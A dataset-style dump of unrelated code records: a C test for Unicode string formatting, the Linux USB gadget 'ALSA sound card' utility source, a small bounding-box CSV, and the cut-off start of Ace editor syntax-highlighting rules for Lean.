(u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%20U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-20U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', ' ', ' ', ' ',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%020U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n {\n static const uint16_t unicode_string[] = /* Rafał Maszkowski */\n {\n 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z', 'k', 'o', 'w',\n 's', 'k', 'i', 0\n };\n {\n uint16_t *result =\n my_xasprintf (\"%lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%20lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-20lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', ' ', ' ', ' ',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%020lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n {\n static const uint32_t unicode_string[] = /* Rafał Maszkowski */\n {\n 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z', 'k', 'o', 'w',\n 's', 'k', 'i', 0\n };\n {\n uint16_t *result =\n my_xasprintf (\"%llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%20llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-20llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', ' ', ' ', ' ',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%020llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', 'R', 'a', 'f', 'a', 0x0142, ' ',\n 'M', 'a', 's', 'z', 'k', 'o', 'w', 's', 'k', 'i',\n ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n /* Test non-ASCII characters in the format string. */\n\n {\n uint16_t *result =\n my_xasprintf (\"\\304rger\", 33, 44, 55);\n ASSERT (result == NULL && errno == EINVAL);\n }\n}\n"} {"text": "/*\n * u_audio.c -- interface to USB gadget \"ALSA sound card\" utilities\n *\n * Copyright (C) 2016\n * Author: Ruslan Bilovol <ruslan.bilovol@gmail.com>\n *\n * Sound card implementation was cut-and-pasted with changes\n * from f_uac2.c and has:\n * Copyright (C) 2011\n * Yadwinder Singh (yadi.brar01@gmail.com)\n * Jaswinder Singh (jaswinder.singh@linaro.org)\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n */\n\n#include <linux/module.h>\n#include <sound/core.h>\n#include <sound/pcm.h>\n#include <sound/pcm_params.h>\n\n#include \"u_audio.h\"\n\n#define BUFF_SIZE_MAX\t(PAGE_SIZE * 16)\n#define PRD_SIZE_MAX\tPAGE_SIZE\n#define MIN_PERIODS\t4\n\nstruct uac_req {\n\tstruct uac_rtd_params *pp; /* parent param */\n\tstruct usb_request *req;\n};\n\n/* Runtime data params for one stream */\nstruct uac_rtd_params {\n\tstruct snd_uac_chip *uac; /* parent chip */\n\tbool ep_enabled; /* if the ep is enabled */\n\t/* Size of the ring buffer */\n\tsize_t dma_bytes;\n\tunsigned char *dma_area;\n\n\tstruct snd_pcm_substream *ss;\n\n\t/* Ring buffer */\n\tssize_t hw_ptr;\n\n\tvoid *rbuf;\n\n\tsize_t period_size;\n\n\tunsigned max_psize;\t/* MaxPacketSize of endpoint */\n\tstruct uac_req *ureq;\n\n\tspinlock_t lock;\n};\n\nstruct snd_uac_chip {\n\tstruct g_audio *audio_dev;\n\n\tstruct uac_rtd_params p_prm;\n\tstruct uac_rtd_params c_prm;\n\n\tstruct snd_card *card;\n\tstruct snd_pcm *pcm;\n\n\t/* timekeeping for the playback endpoint */\n\tunsigned int p_interval;\n\tunsigned int p_residue;\n\n\t/* pre-calculated values for playback iso completion */\n\tunsigned int p_pktsize;\n\tunsigned int p_pktsize_residue;\n\tunsigned int p_framesize;\n};\n\nstatic const struct snd_pcm_hardware uac_pcm_hardware = {\n\t.info = SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER\n\t\t | SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID\n\t\t | SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_RESUME,\n\t.rates = SNDRV_PCM_RATE_CONTINUOUS,\n\t.periods_max = BUFF_SIZE_MAX / PRD_SIZE_MAX,\n\t.buffer_bytes_max = BUFF_SIZE_MAX,\n\t.period_bytes_max = PRD_SIZE_MAX,\n\t.periods_min = MIN_PERIODS,\n};\n\nstatic void u_audio_iso_complete(struct usb_ep *ep, struct usb_request *req)\n{\n\tunsigned pending;\n\tunsigned long flags;\n\tunsigned int hw_ptr;\n\tbool update_alsa = false;\n\tint status = req->status;\n\tstruct uac_req *ur = req->context;\n\tstruct snd_pcm_substream *substream;\n\tstruct uac_rtd_params *prm = ur->pp;\n\tstruct snd_uac_chip *uac = prm->uac;\n\n\t/* i/f shutting down */\n\tif (!prm->ep_enabled || req->status == -ESHUTDOWN)\n\t\treturn;\n\n\t/*\n\t * We can't really do much about bad xfers.\n\t * Afterall, the ISOCH xfers could fail legitimately.\n\t */\n\tif (status)\n\t\tpr_debug(\"%s: iso_complete status(%d) %d/%d\\n\",\n\t\t\t__func__, status, req->actual, req->length);\n\n\tsubstream = prm->ss;\n\n\t/* Do nothing if ALSA isn't active */\n\tif (!substream)\n\t\tgoto exit;\n\n\tspin_lock_irqsave(&prm->lock, flags);\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) {\n\t\t/*\n\t\t * For each IN packet, take the quotient of the current data\n\t\t * rate and the endpoint's interval as the base packet size.\n\t\t * If there is a residue from this division, add it to the\n\t\t * residue accumulator.\n\t\t */\n\t\treq->length = uac->p_pktsize;\n\t\tuac->p_residue += uac->p_pktsize_residue;\n\n\t\t/*\n\t\t * Whenever there are more bytes in the accumulator than we\n\t\t * need to add one more sample frame, increase this packet's\n\t\t * size and decrease the accumulator.\n\t\t */\n\t\tif (uac->p_residue / uac->p_interval >= uac->p_framesize) {\n\t\t\treq->length += uac->p_framesize;\n\t\t\tuac->p_residue -= uac->p_framesize *\n\t\t\t\t\t uac->p_interval;\n\t\t}\n\n\t\treq->actual = req->length;\n\t}\n\n\tpending = prm->hw_ptr % prm->period_size;\n\tpending += req->actual;\n\tif (pending >= prm->period_size)\n\t\tupdate_alsa = true;\n\n\thw_ptr = prm->hw_ptr;\n\tprm->hw_ptr = (prm->hw_ptr + req->actual) % prm->dma_bytes;\n\n\tspin_unlock_irqrestore(&prm->lock, flags);\n\n\t/* Pack USB load in ALSA ring buffer */\n\tpending = prm->dma_bytes - hw_ptr;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) {\n\t\tif (unlikely(pending < req->actual)) {\n\t\t\tmemcpy(req->buf, prm->dma_area + hw_ptr, pending);\n\t\t\tmemcpy(req->buf + pending, prm->dma_area,\n\t\t\t req->actual - pending);\n\t\t} else {\n\t\t\tmemcpy(req->buf, prm->dma_area + hw_ptr, req->actual);\n\t\t}\n\t} else {\n\t\tif (unlikely(pending < req->actual)) {\n\t\t\tmemcpy(prm->dma_area + hw_ptr, req->buf, pending);\n\t\t\tmemcpy(prm->dma_area, req->buf + pending,\n\t\t\t req->actual - pending);\n\t\t} else {\n\t\t\tmemcpy(prm->dma_area + hw_ptr, req->buf, req->actual);\n\t\t}\n\t}\n\nexit:\n\tif (usb_ep_queue(ep, req, GFP_ATOMIC))\n\t\tdev_err(uac->card->dev, \"%d Error!\\n\", __LINE__);\n\n\tif (update_alsa)\n\t\tsnd_pcm_period_elapsed(substream);\n}\n\nstatic int uac_pcm_trigger(struct snd_pcm_substream *substream, int cmd)\n{\n\tstruct snd_uac_chip *uac = snd_pcm_substream_chip(substream);\n\tstruct uac_rtd_params *prm;\n\tstruct g_audio *audio_dev;\n\tstruct uac_params *params;\n\tunsigned long flags;\n\tint err = 0;\n\n\taudio_dev = uac->audio_dev;\n\tparams = &audio_dev->params;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK)\n\t\tprm = &uac->p_prm;\n\telse\n\t\tprm = &uac->c_prm;\n\n\tspin_lock_irqsave(&prm->lock, flags);\n\n\t/* Reset */\n\tprm->hw_ptr = 0;\n\n\tswitch (cmd) {\n\tcase SNDRV_PCM_TRIGGER_START:\n\tcase SNDRV_PCM_TRIGGER_RESUME:\n\t\tprm->ss = substream;\n\t\tbreak;\n\tcase SNDRV_PCM_TRIGGER_STOP:\n\tcase SNDRV_PCM_TRIGGER_SUSPEND:\n\t\tprm->ss = NULL;\n\t\tbreak;\n\tdefault:\n\t\terr = -EINVAL;\n\t}\n\n\tspin_unlock_irqrestore(&prm->lock, flags);\n\n\t/* Clear buffer after Play stops */\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK && !prm->ss)\n\t\tmemset(prm->rbuf, 0, prm->max_psize * params->req_number);\n\n\treturn err;\n}\n\nstatic snd_pcm_uframes_t uac_pcm_pointer(struct snd_pcm_substream *substream)\n{\n\tstruct snd_uac_chip *uac = snd_pcm_substream_chip(substream);\n\tstruct uac_rtd_params *prm;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK)\n\t\tprm = &uac->p_prm;\n\telse\n\t\tprm = &uac->c_prm;\n\n\treturn bytes_to_frames(substream->runtime, prm->hw_ptr);\n}\n\nstatic int uac_pcm_hw_params(struct snd_pcm_substream *substream,\n\t\t\t struct snd_pcm_hw_params *hw_params)\n{\n\tstruct snd_uac_chip *uac = snd_pcm_substream_chip(substream);\n\tstruct uac_rtd_params *prm;\n\tint err;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK)\n\t\tprm = &uac->p_prm;\n\telse\n\t\tprm = &uac->c_prm;\n\n\terr = snd_pcm_lib_malloc_pages(substream,\n\t\t\t\t\tparams_buffer_bytes(hw_params));\n\tif (err >= 0) {\n\t\tprm->dma_bytes = substream->runtime->dma_bytes;\n\t\tprm->dma_area = substream->runtime->dma_area;\n\t\tprm->period_size = params_period_bytes(hw_params);\n\t}\n\n\treturn err;\n}\n\nstatic int uac_pcm_hw_free(struct snd_pcm_substream *substream)\n{\n\tstruct snd_uac_chip *uac = snd_pcm_substream_chip(substream);\n\tstruct uac_rtd_params *prm;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK)\n\t\tprm = &uac->p_prm;\n\telse\n\t\tprm = &uac->c_prm;\n\n\tprm->dma_area = NULL;\n\tprm->dma_bytes = 0;\n\tprm->period_size = 0;\n\n\treturn snd_pcm_lib_free_pages(substream);\n}\n\nstatic int uac_pcm_open(struct snd_pcm_substream *substream)\n{\n\tstruct snd_uac_chip *uac = snd_pcm_substream_chip(substream);\n\tstruct snd_pcm_runtime *runtime = substream->runtime;\n\tstruct g_audio *audio_dev;\n\tstruct uac_params *params;\n\tint p_ssize, c_ssize;\n\tint p_srate, c_srate;\n\tint p_chmask, c_chmask;\n\n\taudio_dev = uac->audio_dev;\n\tparams = &audio_dev->params;\n\tp_ssize = params->p_ssize;\n\tc_ssize = params->c_ssize;\n\tp_srate = params->p_srate;\n\tc_srate = params->c_srate;\n\tp_chmask = params->p_chmask;\n\tc_chmask = params->c_chmask;\n\tuac->p_residue = 0;\n\n\truntime->hw = uac_pcm_hardware;\n\n\tif (substream->stream == SNDRV_PCM_STREAM_PLAYBACK) {\n\t\tspin_lock_init(&uac->p_prm.lock);\n\t\truntime->hw.rate_min = p_srate;\n\t\tswitch (p_ssize) {\n\t\tcase 3:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S24_3LE;\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S32_LE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;\n\t\t\tbreak;\n\t\t}\n\t\truntime->hw.channels_min = num_channels(p_chmask);\n\t\truntime->hw.period_bytes_min = 2 * uac->p_prm.max_psize\n\t\t\t\t\t\t/ runtime->hw.periods_min;\n\t} else {\n\t\tspin_lock_init(&uac->c_prm.lock);\n\t\truntime->hw.rate_min = c_srate;\n\t\tswitch (c_ssize) {\n\t\tcase 3:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S24_3LE;\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S32_LE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\truntime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;\n\t\t\tbreak;\n\t\t}\n\t\truntime->hw.channels_min = num_channels(c_chmask);\n\t\truntime->hw.period_bytes_min = 2 * uac->c_prm.max_psize\n\t\t\t\t\t\t/ runtime->hw.periods_min;\n\t}\n\n\truntime->hw.rate_max = runtime->hw.rate_min;\n\truntime->hw.channels_max = runtime->hw.channels_min;\n\n\tsnd_pcm_hw_constraint_integer(runtime, SNDRV_PCM_HW_PARAM_PERIODS);\n\n\treturn 0;\n}\n\n/* ALSA cries without these function pointers */\nstatic int uac_pcm_null(struct snd_pcm_substream *substream)\n{\n\treturn 0;\n}\n\nstatic const struct snd_pcm_ops uac_pcm_ops = {\n\t.open = uac_pcm_open,\n\t.close = uac_pcm_null,\n\t.ioctl = snd_pcm_lib_ioctl,\n\t.hw_params = uac_pcm_hw_params,\n\t.hw_free = uac_pcm_hw_free,\n\t.trigger = uac_pcm_trigger,\n\t.pointer = uac_pcm_pointer,\n\t.prepare = uac_pcm_null,\n};\n\nstatic inline void free_ep(struct uac_rtd_params *prm, struct usb_ep *ep)\n{\n\tstruct snd_uac_chip *uac = prm->uac;\n\tstruct g_audio *audio_dev;\n\tstruct uac_params *params;\n\tint i;\n\n\tif (!prm->ep_enabled)\n\t\treturn;\n\n\tprm->ep_enabled = false;\n\n\taudio_dev = uac->audio_dev;\n\tparams = &audio_dev->params;\n\n\tfor (i = 0; i < params->req_number; i++) {\n\t\tif (prm->ureq[i].req) {\n\t\t\tusb_ep_dequeue(ep, prm->ureq[i].req);\n\t\t\tusb_ep_free_request(ep, prm->ureq[i].req);\n\t\t\tprm->ureq[i].req = NULL;\n\t\t}\n\t}\n\n\tif (usb_ep_disable(ep))\n\t\tdev_err(uac->card->dev, \"%s:%d Error!\\n\", __func__, __LINE__);\n}\n\n\nint u_audio_start_capture(struct g_audio *audio_dev)\n{\n\tstruct snd_uac_chip *uac = audio_dev->uac;\n\tstruct usb_gadget *gadget = audio_dev->gadget;\n\tstruct device *dev = &gadget->dev;\n\tstruct usb_request *req;\n\tstruct usb_ep *ep;\n\tstruct uac_rtd_params *prm;\n\tstruct uac_params *params = &audio_dev->params;\n\tint req_len, i;\n\n\tep = audio_dev->out_ep;\n\tprm = &uac->c_prm;\n\tconfig_ep_by_speed(gadget, &audio_dev->func, ep);\n\treq_len = prm->max_psize;\n\n\tprm->ep_enabled = true;\n\tusb_ep_enable(ep);\n\n\tfor (i = 0; i < params->req_number; i++) {\n\t\tif (!prm->ureq[i].req) {\n\t\t\treq = usb_ep_alloc_request(ep, GFP_ATOMIC);\n\t\t\tif (req == NULL)\n\t\t\t\treturn -ENOMEM;\n\n\t\t\tprm->ureq[i].req = req;\n\t\t\tprm->ureq[i].pp = prm;\n\n\t\t\treq->zero = 0;\n\t\t\treq->context = &prm->ureq[i];\n\t\t\treq->length = req_len;\n\t\t\treq->complete = u_audio_iso_complete;\n\t\t\treq->buf = prm->rbuf + i * prm->max_psize;\n\t\t}\n\n\t\tif (usb_ep_queue(ep, prm->ureq[i].req, GFP_ATOMIC))\n\t\t\tdev_err(dev, \"%s:%d Error!\\n\", __func__, __LINE__);\n\t}\n\n\treturn 0;\n}\nEXPORT_SYMBOL_GPL(u_audio_start_capture);\n\nvoid u_audio_stop_capture(struct g_audio *audio_dev)\n{\n\tstruct snd_uac_chip *uac = audio_dev->uac;\n\n\tfree_ep(&uac->c_prm, audio_dev->out_ep);\n}\nEXPORT_SYMBOL_GPL(u_audio_stop_capture);\n\nint u_audio_start_playback(struct g_audio *audio_dev)\n{\n\tstruct snd_uac_chip *uac = audio_dev->uac;\n\tstruct usb_gadget *gadget = audio_dev->gadget;\n\tstruct device *dev = &gadget->dev;\n\tstruct usb_request *req;\n\tstruct usb_ep *ep;\n\tstruct uac_rtd_params *prm;\n\tstruct uac_params *params = &audio_dev->params;\n\tunsigned int factor, rate;\n\tconst struct usb_endpoint_descriptor *ep_desc;\n\tint req_len, i;\n\n\tep = audio_dev->in_ep;\n\tprm = &uac->p_prm;\n\tconfig_ep_by_speed(gadget, &audio_dev->func, ep);\n\n\tep_desc = ep->desc;\n\n\t/* pre-calculate the playback endpoint's interval */\n\tif (gadget->speed == USB_SPEED_FULL)\n\t\tfactor = 1000;\n\telse\n\t\tfactor = 8000;\n\n\t/* pre-compute some values for iso_complete() */\n\tuac->p_framesize = params->p_ssize *\n\t\t\t num_channels(params->p_chmask);\n\trate = params->p_srate * uac->p_framesize;\n\tuac->p_interval = factor / (1 << (ep_desc->bInterval - 1));\n\tuac->p_pktsize = min_t(unsigned int, rate / uac->p_interval,\n\t\t\t\tprm->max_psize);\n\n\tif (uac->p_pktsize < prm->max_psize)\n\t\tuac->p_pktsize_residue = rate % uac->p_interval;\n\telse\n\t\tuac->p_pktsize_residue = 0;\n\n\treq_len = uac->p_pktsize;\n\tuac->p_residue = 0;\n\n\tprm->ep_enabled = true;\n\tusb_ep_enable(ep);\n\n\tfor (i = 0; i < params->req_number; i++) {\n\t\tif (!prm->ureq[i].req) {\n\t\t\treq = usb_ep_alloc_request(ep, GFP_ATOMIC);\n\t\t\tif (req == NULL)\n\t\t\t\treturn -ENOMEM;\n\n\t\t\tprm->ureq[i].req = req;\n\t\t\tprm->ureq[i].pp = prm;\n\n\t\t\treq->zero = 0;\n\t\t\treq->context = &prm->ureq[i];\n\t\t\treq->length = req_len;\n\t\t\treq->complete = u_audio_iso_complete;\n\t\t\treq->buf = prm->rbuf + i * prm->max_psize;\n\t\t}\n\n\t\tif (usb_ep_queue(ep, prm->ureq[i].req, GFP_ATOMIC))\n\t\t\tdev_err(dev, \"%s:%d Error!\\n\", __func__, __LINE__);\n\t}\n\n\treturn 0;\n}\nEXPORT_SYMBOL_GPL(u_audio_start_playback);\n\nvoid u_audio_stop_playback(struct g_audio *audio_dev)\n{\n\tstruct snd_uac_chip *uac = audio_dev->uac;\n\n\tfree_ep(&uac->p_prm, audio_dev->in_ep);\n}\nEXPORT_SYMBOL_GPL(u_audio_stop_playback);\n\nint g_audio_setup(struct g_audio *g_audio, const char *pcm_name,\n\t\t\t\t\tconst char *card_name)\n{\n\tstruct snd_uac_chip *uac;\n\tstruct snd_card *card;\n\tstruct snd_pcm *pcm;\n\tstruct uac_params *params;\n\tint p_chmask, c_chmask;\n\tint err;\n\n\tif (!g_audio)\n\t\treturn -EINVAL;\n\n\tuac = kzalloc(sizeof(*uac), GFP_KERNEL);\n\tif (!uac)\n\t\treturn -ENOMEM;\n\tg_audio->uac = uac;\n\tuac->audio_dev = g_audio;\n\n\tparams = &g_audio->params;\n\tp_chmask = params->p_chmask;\n\tc_chmask = params->c_chmask;\n\n\tif (c_chmask) {\n\t\tstruct uac_rtd_params *prm = &uac->c_prm;\n\n\t\tuac->c_prm.uac = uac;\n\t\tprm->max_psize = g_audio->out_ep_maxpsize;\n\n\t\tprm->ureq = kcalloc(params->req_number, sizeof(struct uac_req),\n\t\t\t\tGFP_KERNEL);\n\t\tif (!prm->ureq) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto fail;\n\t\t}\n\n\t\tprm->rbuf = kcalloc(params->req_number, prm->max_psize,\n\t\t\t\tGFP_KERNEL);\n\t\tif (!prm->rbuf) {\n\t\t\tprm->max_psize = 0;\n\t\t\terr = -ENOMEM;\n\t\t\tgoto fail;\n\t\t}\n\t}\n\n\tif (p_chmask) {\n\t\tstruct uac_rtd_params *prm = &uac->p_prm;\n\n\t\tuac->p_prm.uac = uac;\n\t\tprm->max_psize = g_audio->in_ep_maxpsize;\n\n\t\tprm->ureq = kcalloc(params->req_number, sizeof(struct uac_req),\n\t\t\t\tGFP_KERNEL);\n\t\tif (!prm->ureq) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto fail;\n\t\t}\n\n\t\tprm->rbuf = kcalloc(params->req_number, prm->max_psize,\n\t\t\t\tGFP_KERNEL);\n\t\tif (!prm->rbuf) {\n\t\t\tprm->max_psize = 0;\n\t\t\terr = -ENOMEM;\n\t\t\tgoto fail;\n\t\t}\n\t}\n\n\t/* Choose any slot, with no id */\n\terr = snd_card_new(&g_audio->gadget->dev,\n\t\t\t-1, NULL, THIS_MODULE, 0, &card);\n\tif (err < 0)\n\t\tgoto fail;\n\n\tuac->card = card;\n\n\t/*\n\t * Create first PCM device\n\t * Create a substream only for non-zero channel streams\n\t */\n\terr = snd_pcm_new(uac->card, pcm_name, 0,\n\t\t\t p_chmask ? 1 : 0, c_chmask ? 1 : 0, &pcm);\n\tif (err < 0)\n\t\tgoto snd_fail;\n\n\tstrcpy(pcm->name, pcm_name);\n\tpcm->private_data = uac;\n\tuac->pcm = pcm;\n\n\tsnd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &uac_pcm_ops);\n\tsnd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_CAPTURE, &uac_pcm_ops);\n\n\tstrcpy(card->driver, card_name);\n\tstrcpy(card->shortname, card_name);\n\tsprintf(card->longname, \"%s %i\", card_name, card->dev->id);\n\n\tsnd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,\n\t\tsnd_dma_continuous_data(GFP_KERNEL), 0, BUFF_SIZE_MAX);\n\n\terr = snd_card_register(card);\n\n\tif (!err)\n\t\treturn 0;\n\nsnd_fail:\n\tsnd_card_free(card);\nfail:\n\tkfree(uac->p_prm.ureq);\n\tkfree(uac->c_prm.ureq);\n\tkfree(uac->p_prm.rbuf);\n\tkfree(uac->c_prm.rbuf);\n\tkfree(uac);\n\n\treturn err;\n}\nEXPORT_SYMBOL_GPL(g_audio_setup);\n\nvoid g_audio_cleanup(struct g_audio *g_audio)\n{\n\tstruct snd_uac_chip *uac;\n\tstruct snd_card *card;\n\n\tif (!g_audio || !g_audio->uac)\n\t\treturn;\n\n\tuac = g_audio->uac;\n\tcard = uac->card;\n\tif (card)\n\t\tsnd_card_free(card);\n\n\tkfree(uac->p_prm.ureq);\n\tkfree(uac->c_prm.ureq);\n\tkfree(uac->p_prm.rbuf);\n\tkfree(uac->c_prm.rbuf);\n\tkfree(uac);\n}\nEXPORT_SYMBOL_GPL(g_audio_cleanup);\n\nMODULE_LICENSE(\"GPL\");\nMODULE_DESCRIPTION(\"USB gadget \\\"ALSA sound card\\\" utilities\");\nMODULE_AUTHOR(\"Ruslan Bilovol\");\n"} {"text": "320,105,592,105,592,269,320,269,0.9998086\r\n784,583,911,583,911,598,784,598,0.99980634\r\n0,582,224,582,224,598,0,598,0.999803\r\n160,327,752,327,752,496,160,496,0.9998011\r\n384,272,496,272,496,345,384,345,0.9997842\r\n"} {"text": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar TextHighlightRules = require(\"./text_highlight_rules\").TextHighlightRules;\n\nvar DocCommentHighlightRules = function() {\n this.$rules = {\n \"start\" : [ {\n token : \"comment.doc.tag\",\n regex : \"@[\\\\w\\\\d_]+\" // TODO: fix email addresses\n }, \n DocCommentHighlightRules.getTagRule(),\n {\n defaultToken : \"comment.doc\",\n caseInsensitive: true\n }]\n };\n};\n\noop.inherits(DocCommentHighlightRules, TextHighlightRules);\n\nDocCommentHighlightRules.getTagRule = function(start) {\n return {\n token : \"comment.doc.tag.storage.type\",\n regex : \"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"\n };\n}\n\nDocCommentHighlightRules.getStartRule = function(start) {\n return {\n token : \"comment.doc\", // doc comment\n regex : \"\\\\/\\\\*(?=\\\\*)\",\n next : start\n };\n};\n\nDocCommentHighlightRules.getEndRule = function (start) {\n return {\n token : \"comment.doc\", // closing comment\n regex : \"\\\\*\\\\/\",\n next : start\n };\n};\n\n\nexports.DocCommentHighlightRules = DocCommentHighlightRules;\n\n});\n\nace.define(\"ace/mode/lean_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar DocCommentHighlightRules = require(\"./doc_comment_highlight_rules\").DocCommentHighlightRules;\nvar TextHighlightRules = require(\"./text_highlight_rules\").TextHighlightRules;\n\nvar leanHighlightRules = function() {\n\n var keywordControls = (\n [ \"add_rewrite\", \"alias\", \"as\", \"assume\", \"attribute\",\n \"begin\", \"by\", \"calc\", \"calc_refl\", \"calc_subst\", \"calc_trans\", \"check\",\n \"classes\", \"coercions\", \"conjecture\", \"constants\", \"context\",\n \"corollary\", \"else\", \"end\", \"environment\", \"eval\", \"example\",\n \"exists\", \"exit\", \"export\", \"exposing\", \"extends\", \"fields\", \"find_decl\",\n \"forall\", \"from\", \"fun\", \"have\", \"help\", \"hiding\", \"if\",\n \"import\", \"in\", \"infix\", \"infixl\", \"infixr\", \"instances\",\n \"let\", \"local\", \"match\", \"namespace\", \"notation\", \"obtain\", \"obtains\",\n \"omit\", \"opaque\", \"open\", \"options\", \"parameter\", \"parameters\", \"postfix\",\n \"precedence\", \"prefix\", \"premise\", \"premises\", \"print\", \"private\", \"proof\",\n \"protected\", \"qed\", \"raw\", \"renaming\", \"section\", \"set_option\",\n \"show\", \"tactic_hint\", \"take\", \"then\", \"universe\",\n \"universes\", \"using\", \"variable\", 